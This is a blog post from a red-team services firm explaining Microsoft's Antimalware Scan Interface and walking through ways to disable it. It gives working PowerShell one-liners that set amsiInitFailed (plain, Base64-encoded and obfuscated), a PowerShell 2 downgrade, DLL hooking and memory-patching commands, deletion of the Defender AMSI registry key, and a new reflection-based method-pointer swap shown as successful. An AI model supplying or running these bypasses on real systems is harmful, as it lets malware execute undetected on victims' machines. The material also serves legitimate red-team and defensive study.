Bypassing Anti-Malware Scan Interface (AMSI)

Advanced Evasion Techniques

Share:

Hey everyone, today I’m diving into some thoughts and techniques around AMSI.
As a security researcher, I constantly explore the tools designed to protect systems and the creative ways attackers attempt to bypass them.

Let’s dive in, one such mechanism is Microsoft’s Antimalware Scan Interface (AMSI), a security protection introduced to strengthen Windows security by inspecting and intercepting potentially malicious code before it executes.

AMSI works with Windows Defender and other antivirus engines, offering real-time scanning of dynamic content like PowerShell, VBA, JavaScript, and more. This layer helps to anti-virus products to identify and block known threats at the scripting level.

But we know that no defense is bulletproof.
AMSI is a layer of protection, but it’s far from unbeatable. Over the years, attackers have come up with various creative ways to get around it, some clever, some surprisingly simple.

I’ll break down how AMSI works, go over real-world bypass techniques, and share thoughts on how defenders can keep up.

How AMSI Works ?

When a script or PowerShell command is executed, the AMSI.dll library is injected into the running process. This integration enables the antivirus engine to inspect the script’s content in real-time using two core API functions: AmsiScanBuffer() and AmsiScanString().

Suppose the scanned content matches a known malware signature or exhibits suspicious behavior. In that case, AMSI returns a flag indicating potential threats, allowing the antivirus software to block execution and alert the user.

HRESULT AmsiScanString(
  [in]           HAMSICONTEXT amsiContext,
  [in]           LPCWSTR      string,
  [in]           LPCWSTR      contentName,
  [in, optional] HAMSISESSION amsiSession,
  [out]          AMSI_RESULT  *result
);
HRESULT AmsiScanBuffer(
  [in]           HAMSICONTEXT amsiContext,
  [in]           PVOID        buffer,
  [in]           ULONG        length,
  [in]           LPCWSTR      contentName,
  [in, optional] HAMSISESSION amsiSession,
  [out]          AMSI_RESULT  *result
);

The following diagram illustrates the AMSI scanning process. alt text

AMSI Evasions

Despite AMSI’s protection, various bypass techniques have been developed and publicly disclosed. These methods exploit the signature-based nature of AMSI, allowing attackers to execute their payloads undetected. While some older techniques have been patched, variations involving string modification, encoding, and obfuscation remain effective. Tools for red team operations often include AMSI bypass features, but manual techniques can also be used.

PowerShell Downgrade

PowerShell 2.0, an older version still present in Windows, lacks modern security features like AMSI. By running the command powershell -version 2, an attacker can downgrade to this version, bypassing AMSI protection entirely. This method leverages the absence of AMSI in legacy versions, allowing for undetected script execution.

alt text

Base64 Encoding

A method demonstrated by Fabian Mosch builds on Matt Graeber’s AMSI bypass. By encoding triggering strings like “AmsiUtils” and “amsiInitFailed” in Base64 and decoding them at runtime, the script evades AMSI’s signature detection. The following example shows the transformation:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Base64 Encoded

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

Hooking

Tom Carver demonstrated an AMSI bypass using a DLL to hook the AmsiScanBuffer function. By altering this function to use dummy parameters, AMSI is effectively bypassed. The DLL is injected into the PowerShell process, preventing AMSI from scanning the script.

.\SimpleInjector.exe powershell.exe .\AmsiHook.dll

It didn’t work, but I had to try. Let’s continue with the following technique.

Memory Patching is a technique used to alter the behavior of software by modifying its code or data directly in memory. This can be used to bypass security measures, alter the functionality of software, or enable exploits. In the context of Windows security, one common target for memory patching is the Anti-Malware Scan Interface (AMSI).

Daniel Duggan released a bypass technique that involves patching the AmsiScanBuffer() function, which is a core function in AMSI responsible for scanning buffers of data. The patch forces this function to always return AMSI_RESULT_CLEAN, which indicates that no malicious content was detected. As a result, the bypass effectively disables AMSI for the duration of the session, allowing potentially harmful code to execute without being detected or blocked.

Load the AMSI bypass DLL from a specified path

[System.Reflection.Assembly]::LoadFile("C:\Path\To\AMSIBypass.dll")

Invoke the bypass method to patch the AMSI function

[Amsi]::Bypass()

Forcing AMSI Initialization Failure

The technique, originally disclosed by security researcher Matt Graeber, involves setting the amsiInitFailed flag to true. When this flag is set, it causes AMSI to fail during its initialization process, effectively disabling its ability to scan for malicious content.

This method works by exploiting the fact that AMSI checks this flag before proceeding with any scans. If AMSI believes it has failed to initialize properly, it will not perform any scans, thereby allowing potentially malicious code to execute without detection.

Obfuscated Bypass Technique

To avoid detection by security software, attackers often employ obfuscation techniques to conceal their bypass methods. This makes it harder for signature-based detection systems to identify malicious activity. The following is an example of an obfuscated AMSI bypass technique that sets the amsiInitFailed flag to true:

$w = 'System.Management.Automation.A'; $c = 'si'; $m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)

Registry Key Modification

AMSI Providers are identified by registry keys, such as the one for Windows Defender. Removing these keys disables AMSI for that antivirus solution. While effective, this method is not stealthy and requires administrative rights.

Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse

Functions for AMSI Bypass

Here are some functions that can be used for AMSI bypasses:

  1. AmsiScanBufferBypass: Memory patching in PowerShell and C#.
  2. AmsiOpcodeBytes: Another approach to memory patching using PowerShell.
  3. AMSI-Bypass: Various methods, including memory patching and hooking.

What do to When Everything Fails?

So, as expected, none of the previous methods worked , couldn’t bypass AMSI. Time to switch gears and try a different approach.

As with any security mechanism, attackers seek ways to bypass AMSI to execute malicious code undetected. One such advanced bypass technique involves using .NET reflection to alter method pointers in memory, effectively neutralizing AMSI’s scanning capabilities without modifying the amsi.dll or using risky APIs. I will share a specific implementation of this technique which employs reflection and method swapping to bypass AMSI.

Reflection and Method Swapping

The technique leverages the flexibility and power of .NET reflection to dynamically change the behavior of AMSI’s ScanContent method.

Class Definition and Method Creation The technique defines a class named MSUpdate, which includes a static method M. This method is designed to take two string parameters and always return the integer 1. The return value indicates that no threat was detected, effectively bypassing any scanning that AMSI would perform.

class MSUpdate { static [int] M([string]$c, [string]$s) { return 1 } }

Reflection and Method Identification

Using .NET reflection, the script retrieves the type information for System.Management.Automation.AmsiUtils, a key component in AMSI’s scanning process. It then identifies the ScanContent method, which is responsible for analyzing potentially malicious content.

$o = [Ref].Assembly.GetType('System.Ma'+'nag'+'eme'+'nt.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls').GetMethods('N'+'onPu'+'blic,st'+'at'+'ic') | Where-Object { $_.Name -eq 'ScanContent' } $t = [MSUpdate].GetMethods() | Where-Object { $_.Name -eq 'M'

Method Handle and Pointer Replacement

The final step involves replacing the method pointer for ScanContent with that of the M method in the MSUpdate class. This is done by reading the function pointer from the method handle of M and copying it to the ScanContent method’s location.

[System.Runtime.InteropServices.Marshal]::Copy(@([System.Runtime.InteropServices.Marshal]::ReadIntPtr([long]$t.MethodHandle.Value + [long]8)), 0, [long]$o.MethodHandle.Value + [long]8, 1)

This means that whenever AMSI attempts to scan content via the ScanContent method, it instead invokes the M method in MSUpdate, which always returns a clean result.

Putting it all together - Bypassing AMSI

As shown below we successfully Bypass AMSI using our new technique.

alt text

Conclusion

AMSI is a security feature in Windows, but like any security measure, it can be circumvented. By understanding and applying these techniques, red teams can test the effectiveness of AMSI and develop more robust security strategies.

We specialize in providing advanced Red Team assessments, assume breach scenarios, and penetration testing services. Our expert team conducts realistic simulated attacks to thoroughly evaluate your defenses, uncover vulnerabilities, and test your organization’s incident response capabilities.

References:

https://rastamouse.me/memory-patching-amsi-bypass/ https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/ https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershelll

Learn More About Our Services

Discover how Zero-Defense Labs can help protect your organization against AMSI bypass techniques and a wide range of other cyber threats. Our Red Team assessments, assume breach strategies, and penetration testing services provide a comprehensive defense strategy to safeguard your critical assets.

Contact us today to learn more and schedule a consultation.

More Articles

Continue reading about cybersecurity